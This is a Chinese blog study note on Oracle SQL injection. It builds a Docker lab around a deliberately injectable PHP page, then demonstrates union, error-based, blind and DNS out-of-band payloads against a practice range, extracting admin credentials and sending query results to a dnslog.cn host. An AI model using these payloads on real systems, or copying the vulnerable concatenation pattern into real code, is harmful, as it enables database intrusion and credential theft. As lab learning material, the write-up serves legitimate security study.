在 docker 搭建環境,盡量全面的實踐一下 oracle 注入漏洞(碎碎念:最近覺得有些迷茫,有些事情真的是命運的安排啊,既然暫時不知道該怎么辦就好好努力叭)對了,這里只記錄對我個人理解很有幫助的地方和我印象比較深的特性,其他更細節的內容可以參考官方文檔 https://docs.oracle.com/en/ 和文末師傅們的博客
一、環境搭建
1.1安裝oracle 12c並數據持久化
查詢鏡像:docker search oracle

下載鏡像:docker pull docker.io/truevoly/oracle-12c
查看鏡像:docker images
(刪除鏡像:docker rmi <your-image-id>)

創建備份數據存放目錄:
mkdir /usr/local/oracle/data_temp && chmod 777 /usr/local/oracle/data_temp
啟動 oracle:
docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c
- --name myoracle 容器名字
- --restart alwaysdocker 重啟時容器自動啟動
- -d 后台運行容器並返回容器ID
- -p 本機端口:容器端口 端口映射
- -e ORACLE_ALLOW_REMOTE=true 設置允許遠程連接
- -v 本地目錄:容器目錄 掛載本地目錄,將數據保留在本機來達到數據持久化的目的
查看安裝進度:docker logs -f 容器ID

進入容器:docker exec -it myoracle env LANG=C.UTF-8 /bin/bash
- -it 容器名
- env LANG=C.UTF-8 正常處理中文
創建 sqlplus 的軟鏈接:ln -s $ORACLE_HOME/bin/sqlplus /usr/bin
切換到 oracle 賬戶:su oracle
連接 oracle(以操作系統權限認證的 oracle sys 管理員登陸):sqlplus / as sysdba

新建用戶並賦予權限
#創建數據庫表空間名 SQL> create tablespace pentest datafile '/u01/app/oracle/oradata/xe/pentest.dbf' size 100m; Tablespace created. #創建用戶並指定表空間 SQL> create user sqltest identified by Ssdlh12345 default tablespace pentest;User created. #賦權 SQL> grant connect,resource,dba to sqltest; Grant succeeded. SQL> exit Disconnected from Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production #sqltest用戶連接 oracle@b25a6b033f93:/$ $ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345 SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 25 06:30:45 2021 Copyright (c) 1982, 2014, Oracle. All rights reserved. Connected to: Oracle Database 12c Standard Edition Release 12.1.0.2.0 - 64bit Production SQL>
插入測試數據(數據參考博客貼在最后面了)
#建表 SQL> CREATE TABLE users (id number,name varchar(500),surname varchar(1000)); Table created. #導入數據 SQL> INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header'); INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); commit;

1.2安裝apache-php-oracle
查詢鏡像:docker search docker-apache-php-oracle
下載鏡像:docker pull thomasbisignani/docker-apache-php-oracle
啟動 apache-php-oracle:
docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle
查看安裝進度時有一個警告,但是不影響什么
![]()
在 /usr/local/oracle/sample 目錄新建 oracle 注入靶場文件 oracle_test.php
<?php $username = 'sqltest'; $password = 'Ssdlh12345'; $connectText = '//ip.ip.ip.ip:1521/XE'; $conn = oci_connect($username, $password, $connectText); if (!$conn) { $e = oci_error(); echo 'Oracle connect failed <br />'; exit($e['message']); } echo 'Oracle connect ok' . "<br>"; // Prepare the statement if (!isset($_GET['id']) || $_GET['id'] == null) { echo "oracle sqlinjection test: oracle_test.php?id=1</br>"; $stid = oci_parse($conn, "select * from USERS"); } else { //SQL injection!!!!!! $stid = oci_parse($conn, "SELECT * FROM users where id=" . $_GET['id']); } if (!$stid) { $e = oci_error($conn); exit($e['message']); } // Perform the logic of the query $r = oci_execute($stid); if (!$r) { $e = oci_error($stid); exit($e['message']); } // Fetch the results of the query print "<table border='1'>\n"; while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) { print "<tr>\n"; foreach ($row as $item) { $item = ($item !== null ? mb_convert_encoding($item, 'utf-8', 'gbk') : " "); print " <td>" . $item . "</td>\n"; } print "</tr>\n"; } print "</table>\n"; oci_free_statement($stid); oci_close($conn); ?>
瀏覽器訪問

1.3測試環境啟動小結
每次實驗完停止並刪除容器
docker stop myoracle
docker rm myoracle
docker stop myphp
docker rm myphp
需要時再次執行以下命令啟動環境
#啟動oracle docker run --name myoracle --restart always -d -p 8080:8080 -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true -v /usr/local/oracle/data_temp:/u01/app/oracle truevoly/oracle-12c #啟動apache-php-oracle docker run --name myphp -p 8090:80 -d -v /usr/local/oracle/sample:/var/www/html thomasbisignani/docker-apache-php-oracle #進入oracle容器里面 docker exec -it myoracle env LANG=C.UTF-8 /bin/bash #以sqltest身份進入oracle命令行 $ORACLE_HOME/bin/sqlplus sqltest/Ssdlh12345 #修改php 修改/usr/local/oracle/sample下的文件 #瀏覽器訪問 vps ip:8090
二、oracle基礎學習
快速掌握新知識的一個好方法是,學習它的特性和類比其它已經掌握的知識,對照着學習它和舊知識的共同點和不同點,學習 oracle 基礎知識瀏覽了很多博客,發現很多師傅都是按照這個思路講解,在這里記錄一些對於我來說理解 oracle 基礎很有幫助的思路,參考博客都貼在最后了
2.1oracle特性
- 數據庫中使用的語言有三種:SQL,JAVA,PL/SQL(塊結構語言,類似存儲過程是一種過程化的語言)
- 一個新概念:表空間(數據文件就是由多個表空間組成的,這些數據文件和相關文件形成一個完整的數據庫),oracle 沒有 mysql 的數據庫概念,而是用表空間來代替,一個 oracle 只有一個數據庫,它給賬戶開辟數據庫空間,稱之為表空間,創建數據庫就是開辟賬戶的表空間
- 當數據庫創建時,oracle 會默認創建五個表空間:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP
1.SYSTEM:存儲系統表和管理配置等基本信息
(系統表:
-
-
- DBA_TABLES : 系統里所有的表的信息,需要DBA權限才能查詢
- ALL_TABLES : 當前用戶有權限的表的信息(只要對某個表有任何權限,即可在此視圖中看到表的相關信息)
- USER_TABLES: 當前用戶名下的表的信息
- DBA_ALL_TABLES:DBA 用戶所擁有的或有訪問權限的對象和表
- ALL_ALL_TABLES:某一用戶擁有的或有訪問權限的對象和表
- USER_ALL_TABLES:某一用戶所擁有的對象和表)
-
2.SYSAUX:類似SYSTEM,主要存放一些系統附加信息,以便減輕SYSTEM的空間負擔
3.UNDOTBS:用於事務回退等
4.TEMP:作為緩存空間減少內存負擔
5.USERS:存儲我們定義的表和數據
- 虛表 dual:它沒有實際的存儲意義,永遠只存儲一條數據,因為 oracle 的語法要求 select 后必須跟上 from,所以通常使用 dual 來作為計算、查詢時間等SQL語句中 from 之后的虛表占位,例如 select 1+1 from dual
- 角色:oracle 對於將用戶權限的集合稱為角色
-
- DBA:擁有全部特權,是系統最高權限,只有 dba 才可以創建數據庫結構
- RESOURCE:擁有 resource 權限的用戶只可以創建實體,不可以創建數據庫結構
- CONNECT:擁有 connect 權限的用戶只可以登錄 oracle,不可以創建實體,不可以創建數據庫結構
- 用戶:創建數據庫時,會默認啟用 sys、system 等用戶
-
- sys:相當於 linux 的 root 用戶,dba 角色
- system:與 sys 類似,但是相對於 sys 用戶,無法修改一些關鍵的系統數據,這些數據維持着數據庫的正常運行,為 dba 角色
- public:public 代指所有用戶,對其操作會應用到所有用戶上(所有用戶都有 public 用戶擁有的權限,如果將 dba 權限給了 public,那么也就意味着所有用戶都有了 dba 權限)
2.2語法
語法這里和熟悉的 mysql 對照着看
查詢服務器版本:
#oracle SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT version FROM v$instance; #mysql select version();
查詢數據庫信息:
#oracle SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; #mysql select database();
查詢數據庫用戶:
#oracle SELECT user FROM dual; #mysql user();
查詢表名:
#oracle SELECT table_name FROM all_tables; #mysql select table_name from information_schema.tables;
查詢字段名:
#oracle SELECT column_name FROM all_tab_columns; #mysql select COLUMN_NAME from information_schema.COLUMNS;
拼接字符:
#oracle SELECT 'a' || 'b' FROM dual; #mysql select 'a' 'b';
空字符串:
#oracle 只有null,沒有空字符 #mysql 區分null和''空字符串
第 n 行數據:
#oracle select * from users where rownum <=2; #mysql select * from users limit 2;
2.2注入
2.3.1聯合注入
原本是想用我自己搭在服務器上的靶場實驗的,但是由於國外服務器配置低 + 延時高 + 開了兩個容器太卡了(meiqianmaigaopei),為了節約那么多卡住等待的時間,還是換成 oracle 在線靶場實驗吧,靶場:http://o1.lab.aqlab.cn:81/?id=1
判斷注入點和注入類型,為數字型注入
http://o1.lab.aqlab.cn:81/?id=1 and 1<>2 頁面顯示正常 http://o1.lab.aqlab.cn:81/?id=1 and 1<>1 頁面顯示不正常
判斷字段數為 4
http://o1.lab.aqlab.cn:81/?id=1 order by 4 頁面顯示正常 http://o1.lab.aqlab.cn:81/?id=1 order by 5 頁面顯示不正常
分別在 4 個字段輸出字符,判斷回顯點為第 2 位,to_nchar() 函數可以將字符數據從任何支持的字符集轉換為NCHAR字符集,NCHAR數據類型是固定長度的UNICODE數據,NCHAR和CHAR是不能直接互相兼容的,要通過 Oracle 的函數或者語法進行轉換
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar('abc'),null,null from dual 頁面顯示字符abc
查詢表名
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where rownum=1-- 查詢第一個表名為NEWS http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'-- 查詢第二個表名為ADMIN http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN'-- 查詢第三個表名為MD5 http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN' and table_name<>'MD5'-- 提示沒有找到對應的數據即一共只有三個數據表,分別為NEWS、ADMIN、MD5

這樣一個一個的查表效率有點低,還可以先查詢用戶名,再用類似 mysql 中 group_concat() 的方式查詢表名
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select user from dual)),null,null from dual-- 查詢用戶名為ORACLE1 http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select 1,to_nchar((select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='ORACLE1')),null,null from dual -- 查詢表名

查詢ADMIN表的字段名為UNAME和UPASS
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'-- 查詢第一個字段名為UNAME http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN' and column_name<>'UNAME'-- 查詢第二個字段名為UPASS
獲取表中數據,這里只查詢ADMIN表中的一組數據,原理和查詢表名、字段名相同
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UNAME),null,null from ADMIN where rownum=1-- 查詢ADMIN表中的一條UNAME數據

http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union all select null,to_nchar(UPASS),null,null from ADMIN where UNAME='OCI'-- 查詢UNAME為OCI的UPASS數據

2.3.2報錯注入
可以使用的報錯注入函數有很多種,這里就實驗比較常見的 ctxsys.drithsx.sn() 函數,其他報錯函數語法類似,有需要時再查即可。此函數在 oracle 中用於處理文本,當傳入參數類型錯誤時,會返回異常報錯,注入方法是 1=ctxsys.drithsx.sn(1,(查詢語句)) ,靶場和上文相同
查詢表名
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))-- 查詢第一個表名為ADMIN http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN'))-- 查詢第二個表名為NEWS http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name <> 'NEWS'))-- 查詢第三個表名為MD5

查詢ADMIN表的字段名為UNAME和UPASS
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN'))-- 查詢ADMIN表的第一個字段名為UNAME http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name <> 'UNAME'))-- 查詢ADMIN表的第二個字段名為UPASS
獲取表中數據,這里只查詢ADMIN表中的一組數據
http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))-- 查詢ADMIN表中的一條UNAME數據 http://o1.lab.aqlab.cn:81/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where UNAME='OCI'))-- 查詢UNAME為OCI的UPASS數據
2.3.3布爾盲注
靶場和上文相同,由上文可知ADMIN表中第一條UNAME數據為OCI,手工驗證一下,只有嘗試到字符C時頁面顯示正常,其余顯示“沒有找到對應數據”,可以用 burp 或者寫腳本的方式批量查詢數據
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',1,0) from dual)-- 查詢ADMIN表中UNAME第一條數據的第二個字母為C

解釋一下布爾盲注使用的函數:
- decode(字段或字段運算,值1,值2,值3)
這個函數運行的結果是,當字段或字段運算的值等於值1時,該函數返回值2,否則返回3
- substr(需要截取的字符串,起始位置,截取長度)
注:起始位置從0和從1開始都是表示從字符串首位開始截取
2.3.4時間盲注
在這個靶場上我實驗了兩種時間盲注方式沒有成功,先記錄下學到的知識點,以后找機會實踐吧,第一種方式是 decode() 函數與高耗時SQL操作組合進行時間盲注,因為 (select count(*) from all_objects) 是對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,可以通過這個方式來獲取數據,但是可能由於這個靶場數據量太小了,高耗時的現象不明顯導致無法判斷,所以這個方法的缺點是不太准
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',(select count(*) from all_objects),0) from dual)--
第二種盲注原理是 dbms_pipe.receive_message() 函數將為從RDS管道返回的數據等待 5 秒,默認情況下允許以 public 權限執行,我這里兩條語句報錯都是下圖,推測是 oracle 版本問題,如果是我語句構造的問題歡迎實驗成功的師傅留言或私信
http://o1.lab.aqlab.cn:81/?id=1 and 1=dbms_pipe.receive_message('RDS', 5)--
判斷時間盲注
http://o1.lab.aqlab.cn:81/?id=1 and 1=(select decode(substr((select UNAME from ADMIN where rownum=1),2,1),'C',dbms_pipe.receive_message('RDS',5),0) from dual)--
查詢ADMIN表中UNAME第一條數據的第二個字母為C

2.3.5OOB查詢
OOB是 Out Of Band Channels 的縮寫,譯為帶外通道。它使用一些除常規通道以外的替代的信道來請求服務器資源,一般使用 Oracle 發送HTTP或者DNS請求,將查詢結果帶到請求中,然后監測外網服務器的HTTP和DNS日志,從日志中獲取 sql 語句查詢的結果,這個原理和我曾經寫過的一篇利用 dnslog 進行 sql 盲注的隨筆很像,地址是:https://www.cnblogs.com/wkzb/p/12682073.html
這里實驗一下DNS解析帶外,使用的是 utl_inaddr.get_host_address() 函數,還有一些其他函數也可以實現同樣的效果,語法類似,有需要時再查即可
http://o1.lab.aqlab.cn:81/?id=1 and 1=2 union select null,to_nchar(utl_inaddr.get_host_address((select UNAME from ADMIN where rownum=1)||'.crmg79.dnslog.cn')),null,null from dual-- 查詢ADMIN表中的一條UNAME數據

在此靶場上沒有實驗成功,搜索報錯找到失敗原因是沒有為目標主機分配訪問控制列表(ACL),或者訪問控制列表中的用戶沒有授予訪問目標主機所需的權限,所以語句是沒有問題的,有合適機會的時候再嘗試這種數據查詢方式吧
三、總結
寫這篇筆記時中途又去學習了任意郵件偽造的相關知識(學習成果是前兩篇隨筆),所以斷斷續續用了幾個晚上才學習、整理完 oracle 注入筆記。有 mysql 注入的基礎后 oracle 注入很快就可以入門,無論是常規的幾種注入方式還是帶外通道查詢原理都是相通的,如果本文出現了技術錯誤歡迎師傅們批評指正~
如果在自己的 vps 上實驗還可以直接在命令行執行 sql 查詢語句,這樣可以更直觀的理解(壞就壞在我的 vps 太卡了嚴重影響了效率,但是它太便宜了我又舍不得換,有錢了一定買個不卡的!!)對了在此提醒自己有機會還要再實驗一下 oracle 提權、oracle xxe 等其他操作
參考文章:
https://www.jianshu.com/p/fb00d47ba3d9
https://www.fengwenhua.top/index.php/archives/39/
https://about.sentrylab.cn/help/ALL-SQL-INJECTION-ANALYSIS/
https://y4er.com/post/oracle-sql-inject/
https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
https://www.chabug.org/web/1827.html
https://www.jianshu.com/p/5a4d6ab26bc6
https://www.zhihuifly.com/t/topic/1321
https://xz.aliyun.com/t/7897#toc-10
